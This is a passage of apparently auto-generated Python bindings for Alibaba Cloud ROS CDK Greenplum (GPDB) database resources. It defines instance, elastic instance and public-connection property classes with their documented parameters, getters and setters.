database engine. :param v_switch_id: Property vSwitchId: The vSwitch ID of the instance. :param zone_id: Property zoneId: The zone ID of the instance, such as cn-hangzhou-d. You can call the DescribeRegions operation to query the most recent zone list. :param db_instance_description: Property dbInstanceDescription: The description of the instance. The description cannot exceed 256 characters in length. :param pay_type: Property payType: The billing method of the instance. Default value: Postpaid. Valid values: Postpaid: pay-as-you-go Prepaid: subscription :param period: Property period: The subscription period. While choose by pay by month, it could be from 1 to 11. While choose pay by year, it could be from 1 to 3. :param period_unit: Property periodUnit: Unit of subscription period, it could be Month/Year. Default value is Month. :param security_ip_list: Property securityIpList: The whitelist of IP addresses that are allowed to access the instance. Default value: 127.0.0.1. :param vpc_id: Property vpcId: The VPC ID of the instance. If you set the InstanceNetworkType parameter to VPC, you must also specify the VPCId parameter. The specified region of the VPC must be the same as the RegionId value. ''' self._values: typing.Dict[str, typing.Any] = { "db_instance_class": db_instance_class, "db_instance_group_count": db_instance_group_count, "engine_version": engine_version, "v_switch_id": v_switch_id, "zone_id": zone_id, } if db_instance_description is not None: self._values["db_instance_description"] = db_instance_description if pay_type is not None: self._values["pay_type"] = pay_type if period is not None: self._values["period"] = period if period_unit is not None: self._values["period_unit"] = period_unit if security_ip_list is not None: self._values["security_ip_list"] = security_ip_list if vpc_id is not None: self._values["vpc_id"] = vpc_id @builtins.property def db_instance_class(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property dbInstanceClass: The instance type.''' result = self._values.get("db_instance_class") assert result is not None, "Required property 'db_instance_class' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def db_instance_group_count( self, ) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: '''Property dbInstanceGroupCount: The number of compute nodes in the instance.''' result = self._values.get("db_instance_group_count") assert result is not None, "Required property 'db_instance_group_count' is missing" return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], result) @builtins.property def engine_version(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property engineVersion: The version of the database engine.''' result = self._values.get("engine_version") assert result is not None, "Required property 'engine_version' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def v_switch_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property vSwitchId: The vSwitch ID of the instance.''' result = self._values.get("v_switch_id") assert result is not None, "Required property 'v_switch_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def zone_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property zoneId: The zone ID of the instance, such as cn-hangzhou-d. You can call the DescribeRegions operation to query the most recent zone list. ''' result = self._values.get("zone_id") assert result is not None, "Required property 'zone_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def db_instance_description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property dbInstanceDescription: The description of the instance. The description cannot exceed 256 characters in length. ''' result = self._values.get("db_instance_description") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def pay_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property payType: The billing method of the instance. Default value: Postpaid. Valid values: Postpaid: pay-as-you-go Prepaid: subscription ''' result = self._values.get("pay_type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def period( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: '''Property period: The subscription period. While choose by pay by month, it could be from 1 to 11. While choose pay by year, it could be from 1 to 3. ''' result = self._values.get("period") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def period_unit( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property periodUnit: Unit of subscription period, it could be Month/Year. Default value is Month. ''' result = self._values.get("period_unit") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def security_ip_list( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property securityIpList: The whitelist of IP addresses that are allowed to access the instance. Default value: 127.0.0.1. ''' result = self._values.get("security_ip_list") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def vpc_id( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property vpcId: The VPC ID of the instance. If you set the InstanceNetworkType parameter to VPC, you must also specify the VPCId parameter. The specified region of the VPC must be the same as the RegionId value. ''' result = self._values.get("vpc_id") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "DBInstanceProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class ElasticDBInstance( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-gpdb.ElasticDBInstance", ): '''A ROS resource type: ``ALIYUN::GPDB::ElasticDBInstance``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "ElasticDBInstanceProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::GPDB::ElasticDBInstance``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrConnectionString") def attr_connection_string(self) -> ros_cdk_core.IResolvable: '''Attribute ConnectionString: The endpoint of the instance.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrConnectionString")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrDbInstanceId") def attr_db_instance_id(self) -> ros_cdk_core.IResolvable: '''Attribute DBInstanceId: The ID of the instance.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrDbInstanceId")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrOrderId") def attr_order_id(self) -> ros_cdk_core.IResolvable: '''Attribute OrderId: The order ID of the instance.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrOrderId")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrPort") def attr_port(self) -> ros_cdk_core.IResolvable: '''Attribute Port: The port used to connect to the instance.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrPort")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-gpdb.ElasticDBInstanceProps", jsii_struct_bases=[], name_mapping={ "engine_version": "engineVersion", "instance_spec": "instanceSpec", "seg_node_num": "segNodeNum", "seg_storage_type": "segStorageType", "storage_size": "storageSize", "v_switch_id": "vSwitchId", "zone_id": "zoneId", "db_instance_category": "dbInstanceCategory", "db_instance_description": "dbInstanceDescription", "encryption_key": "encryptionKey", "encryption_type": "encryptionType", "master_node_num": "masterNodeNum", "pay_type": "payType", "period": "period", "period_unit": "periodUnit", "security_ip_list": "securityIpList", "vpc_id": "vpcId", }, ) class ElasticDBInstanceProps: def __init__( self, *, engine_version: typing.Union[builtins.str, ros_cdk_core.IResolvable], instance_spec: typing.Union[builtins.str, ros_cdk_core.IResolvable], seg_node_num: typing.Union[jsii.Number, ros_cdk_core.IResolvable], seg_storage_type: typing.Union[builtins.str, ros_cdk_core.IResolvable], storage_size: typing.Union[jsii.Number, ros_cdk_core.IResolvable], v_switch_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], zone_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], db_instance_category: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, db_instance_description: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, encryption_key: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, encryption_type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, master_node_num: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, pay_type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, period: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, period_unit: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, security_ip_list: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, vpc_id: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::GPDB::ElasticDBInstance``. :param engine_version: Property engineVersion: The version of the database engine. :param instance_spec: Property instanceSpec: The specification of segment nodes. For example: 2C16G, 4C32G, 16C128G. :param seg_node_num: Property segNodeNum: The number of segment nodes. Minimum is 4, max is 512, step is 4. :param seg_storage_type: Property segStorageType: The disk type of segment nodes. For example: cloud_essd, cloud_efficiency. :param storage_size: Property storageSize: The storage capacity of per segment node. Unit: GB. Minimum is 50, max is 4000, step is 50. :param v_switch_id: Property vSwitchId: The vSwitch ID of the instance. :param zone_id: Property zoneId: The zone ID of the instance, such as cn-hangzhou-d. You can call the DescribeRegions operation to query the most recent zone list. :param db_instance_category: Property dbInstanceCategory: DB instance category, valid values: Basic, HighAvailability. :param db_instance_description: Property dbInstanceDescription: The description of the instance. The description cannot exceed 256 characters in length. :param encryption_key: Property encryptionKey: If the EncryptionType parameter is set to CloudDisk, you must specify this parameter to the encryption key that is in the same region with the disks that is specified by the EncryptionType parameter. Otherwise, leave this parameter empty. :param encryption_type: Property encryptionType: The type of the encryption. Default value: NULL. Valid values: NULL: Encryption is disabled. CloudDisk: Encryption is enabled on disks and the encryption key is specified by using the EncryptionKey parameter. Note: Disk encryption cannot be disabled after it is enabled. :param master_node_num: Property masterNodeNum: The number of master nodes. Minimum is 1, max is 2. :param pay_type: Property payType: The billing method of the instance. Default value: Postpaid. Valid values: Postpaid: pay-as-you-go Prepaid: subscription :param period: Property period: The subscription period. While choose by pay by month, it could be from 1 to 11. While choose pay by year, it could be from 1 to 3. :param period_unit: Property periodUnit: Unit of subscription period, it could be Month/Year. Default value is Month. :param security_ip_list: Property securityIpList: The whitelist of IP addresses that are allowed to access the instance. Default value: 127.0.0.1. :param vpc_id: Property vpcId: The VPC ID of the instance. If you set the InstanceNetworkType parameter to VPC, you must also specify the VPCId parameter. The specified region of the VPC must be the same as the RegionId value. ''' self._values: typing.Dict[str, typing.Any] = { "engine_version": engine_version, "instance_spec": instance_spec, "seg_node_num": seg_node_num, "seg_storage_type": seg_storage_type, "storage_size": storage_size, "v_switch_id": v_switch_id, "zone_id": zone_id, } if db_instance_category is not None: self._values["db_instance_category"] = db_instance_category if db_instance_description is not None: self._values["db_instance_description"] = db_instance_description if encryption_key is not None: self._values["encryption_key"] = encryption_key if encryption_type is not None: self._values["encryption_type"] = encryption_type if master_node_num is not None: self._values["master_node_num"] = master_node_num if pay_type is not None: self._values["pay_type"] = pay_type if period is not None: self._values["period"] = period if period_unit is not None: self._values["period_unit"] = period_unit if security_ip_list is not None: self._values["security_ip_list"] = security_ip_list if vpc_id is not None: self._values["vpc_id"] = vpc_id @builtins.property def engine_version(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property engineVersion: The version of the database engine.''' result = self._values.get("engine_version") assert result is not None, "Required property 'engine_version' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def instance_spec(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property instanceSpec: The specification of segment nodes. For example: 2C16G, 4C32G, 16C128G. ''' result = self._values.get("instance_spec") assert result is not None, "Required property 'instance_spec' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def seg_node_num(self) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: '''Property segNodeNum: The number of segment nodes. Minimum is 4, max is 512, step is 4. ''' result = self._values.get("seg_node_num") assert result is not None, "Required property 'seg_node_num' is missing" return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], result) @builtins.property def seg_storage_type(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property segStorageType: The disk type of segment nodes. For example: cloud_essd, cloud_efficiency. ''' result = self._values.get("seg_storage_type") assert result is not None, "Required property 'seg_storage_type' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def storage_size(self) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: '''Property storageSize: The storage capacity of per segment node. Unit: GB. Minimum is 50, max is 4000, step is 50. ''' result = self._values.get("storage_size") assert result is not None, "Required property 'storage_size' is missing" return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], result) @builtins.property def v_switch_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property vSwitchId: The vSwitch ID of the instance.''' result = self._values.get("v_switch_id") assert result is not None, "Required property 'v_switch_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def zone_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property zoneId: The zone ID of the instance, such as cn-hangzhou-d. You can call the DescribeRegions operation to query the most recent zone list. ''' result = self._values.get("zone_id") assert result is not None, "Required property 'zone_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def db_instance_category( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property dbInstanceCategory: DB instance category, valid values: Basic, HighAvailability.''' result = self._values.get("db_instance_category") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def db_instance_description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property dbInstanceDescription: The description of the instance. The description cannot exceed 256 characters in length. ''' result = self._values.get("db_instance_description") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def encryption_key( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property encryptionKey: If the EncryptionType parameter is set to CloudDisk, you must specify this parameter to the encryption key that is in the same region with the disks that is specified by the EncryptionType parameter. Otherwise, leave this parameter empty. ''' result = self._values.get("encryption_key") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def encryption_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property encryptionType: The type of the encryption. Default value: NULL. Valid values: NULL: Encryption is disabled. CloudDisk: Encryption is enabled on disks and the encryption key is specified by using the EncryptionKey parameter. Note: Disk encryption cannot be disabled after it is enabled. ''' result = self._values.get("encryption_type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def master_node_num( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: '''Property masterNodeNum: The number of master nodes. Minimum is 1, max is 2. ''' result = self._values.get("master_node_num") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def pay_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property payType: The billing method of the instance. Default value: Postpaid. Valid values: Postpaid: pay-as-you-go Prepaid: subscription ''' result = self._values.get("pay_type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def period( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: '''Property period: The subscription period. While choose by pay by month, it could be from 1 to 11. While choose pay by year, it could be from 1 to 3. ''' result = self._values.get("period") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def period_unit( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property periodUnit: Unit of subscription period, it could be Month/Year. Default value is Month. ''' result = self._values.get("period_unit") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def security_ip_list( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property securityIpList: The whitelist of IP addresses that are allowed to access the instance. Default value: 127.0.0.1. ''' result = self._values.get("security_ip_list") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def vpc_id( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: '''Property vpcId: The VPC ID of the instance. If you set the InstanceNetworkType parameter to VPC, you must also specify the VPCId parameter. The specified region of the VPC must be the same as the RegionId value. ''' result = self._values.get("vpc_id") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "ElasticDBInstanceProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class InstancePublicConnection( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-gpdb.InstancePublicConnection", ): '''A ROS resource type: ``ALIYUN::GPDB::InstancePublicConnection``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "InstancePublicConnectionProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::GPDB::InstancePublicConnection``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrConnectionString") def attr_connection_string(self) -> ros_cdk_core.IResolvable: '''Attribute ConnectionString: The connection string of the instance.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrConnectionString")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrDbInstanceId") def attr_db_instance_id(self) -> ros_cdk_core.IResolvable: '''Attribute DBInstanceId: The ID of the instance.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrDbInstanceId")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-gpdb.InstancePublicConnectionProps", jsii_struct_bases=[], name_mapping={ "connection_string_prefix": "connectionStringPrefix", "db_instance_id": "dbInstanceId", "port": "port", }, ) class InstancePublicConnectionProps: def __init__( self, *, connection_string_prefix: typing.Union[builtins.str, ros_cdk_core.IResolvable], db_instance_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], port: typing.Union[jsii.Number, ros_cdk_core.IResolvable], ) -> None: '''Properties for defining a ``ALIYUN::GPDB::InstancePublicConnection``. :param connection_string_prefix: Property connectionStringPrefix: The endpoint that is used to connect to the specified database. :param db_instance_id: Property dbInstanceId: The ID of the instance. :param port: Property port: The port number of the instance. ''' self._values: typing.Dict[str, typing.Any] = { "connection_string_prefix": connection_string_prefix, "db_instance_id": db_instance_id, "port": port, } @builtins.property def connection_string_prefix( self, ) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property connectionStringPrefix: The endpoint that is used to connect to the specified database.''' result = self._values.get("connection_string_prefix") assert result is not None, "Required property 'connection_string_prefix' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def db_instance_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: '''Property dbInstanceId: The ID of the instance.''' result = self._values.get("db_instance_id") assert result is not None, "Required property 'db_instance_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def port(self) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: '''Property port: The port number of the instance.''' result = self._values.get("port") assert result is not None, "Required property 'port' is missing" return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "InstancePublicConnectionProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosDBInstance( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-gpdb.RosDBInstance", ): '''A ROS template type: ``ALIYUN::GPDB::DBInstance``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosDBInstanceProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::GPDB::DBInstance``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrConnectionString") def attr_connection_string(self) -> ros_cdk_core.IResolvable: ''' :Attribute: ConnectionString: The endpoint of the instance. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrConnectionString")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrDbInstanceId") def attr_db_instance_id(self) -> ros_cdk_core.IResolvable: ''' :Attribute: DBInstanceId: The ID of the instance. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrDbInstanceId")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrOrderId") def attr_order_id(self) -> ros_cdk_core.IResolvable: ''' :Attribute: OrderId: The order ID of the instance. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrOrderId")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrPort") def attr_port(self) -> ros_cdk_core.IResolvable: ''' :Attribute: Port: The port used to connect to the instance. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrPort")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="dbInstanceClass") def db_instance_class(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: dbInstanceClass: The instance type. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "dbInstanceClass")) @db_instance_class.setter def db_instance_class( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "dbInstanceClass", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="dbInstanceGroupCount") def db_instance_group_count( self, ) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: ''' :Property: dbInstanceGroupCount: The number of compute nodes in the instance. ''' return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], jsii.get(self, "dbInstanceGroupCount")) @db_instance_group_count.setter def db_instance_group_count( self, value: typing.Union[jsii.Number, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "dbInstanceGroupCount", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="engineVersion") def engine_version(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: engineVersion: The version of the database engine. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "engineVersion")) @engine_version.setter def engine_version( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "engineVersion", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="vSwitchId") def v_switch_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: vSwitchId: The vSwitch ID of the instance. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "vSwitchId")) @v_switch_id.setter def v_switch_id( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "vSwitchId", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="zoneId") def zone_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: zoneId: The zone ID of the instance, such as cn-hangzhou-d. You can call the DescribeRegions operation to query the most recent zone list. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "zoneId")) @zone_id.setter def zone_id( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "zoneId", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="dbInstanceDescription") def db_instance_description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: dbInstanceDescription: The description of the instance. The description cannot exceed 256 characters in length. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "dbInstanceDescription")) @db_instance_description.setter def db_instance_description( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "dbInstanceDescription", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="payType") def pay_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: payType: The billing method of the instance. Default value: Postpaid. Valid values: Postpaid: pay-as-you-go Prepaid: subscription ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "payType")) @pay_type.setter def pay_type( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "payType", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="period") def period( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: period: The subscription period. While choose by pay by month, it could be from 1 to 11. While choose pay by year, it could be from 1 to 3. ''' return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], jsii.get(self, "period")) @period.setter def period( self, value: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "period", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="periodUnit") def period_unit( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: periodUnit: Unit of subscription period, it could be Month/Year. Default value is Month. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "periodUnit")) @period_unit.setter def period_unit( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "periodUnit", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="securityIpList") def security_ip_list( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: securityIpList: The whitelist of IP addresses that are allowed to access the instance. Default value: 127.0.0.1. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "securityIpList")) @security_ip_list.setter def security_ip_list( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "securityIpList", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="vpcId") def vpc_id( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: vpcId: The VPC ID of the instance. If you set the InstanceNetworkType parameter to VPC, you must also specify the VPCId parameter. The specified region of the VPC must be the same as the RegionId value. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "vpcId")) @vpc_id.setter def vpc_id( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "vpcId", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-gpdb.RosDBInstanceProps", jsii_struct_bases=[], name_mapping={ "db_instance_class": "dbInstanceClass", "db_instance_group_count": "dbInstanceGroupCount", "engine_version": "engineVersion", "v_switch_id": "vSwitchId", "zone_id": "zoneId", "db_instance_description": "dbInstanceDescription", "pay_type": "payType", "period": "period", "period_unit": "periodUnit", "security_ip_list": "securityIpList", "vpc_id": "vpcId", }, ) class RosDBInstanceProps: def __init__( self, *, db_instance_class: typing.Union[builtins.str, ros_cdk_core.IResolvable], db_instance_group_count: typing.Union[jsii.Number, ros_cdk_core.IResolvable], engine_version: typing.Union[builtins.str, ros_cdk_core.IResolvable], v_switch_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], zone_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], db_instance_description: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, 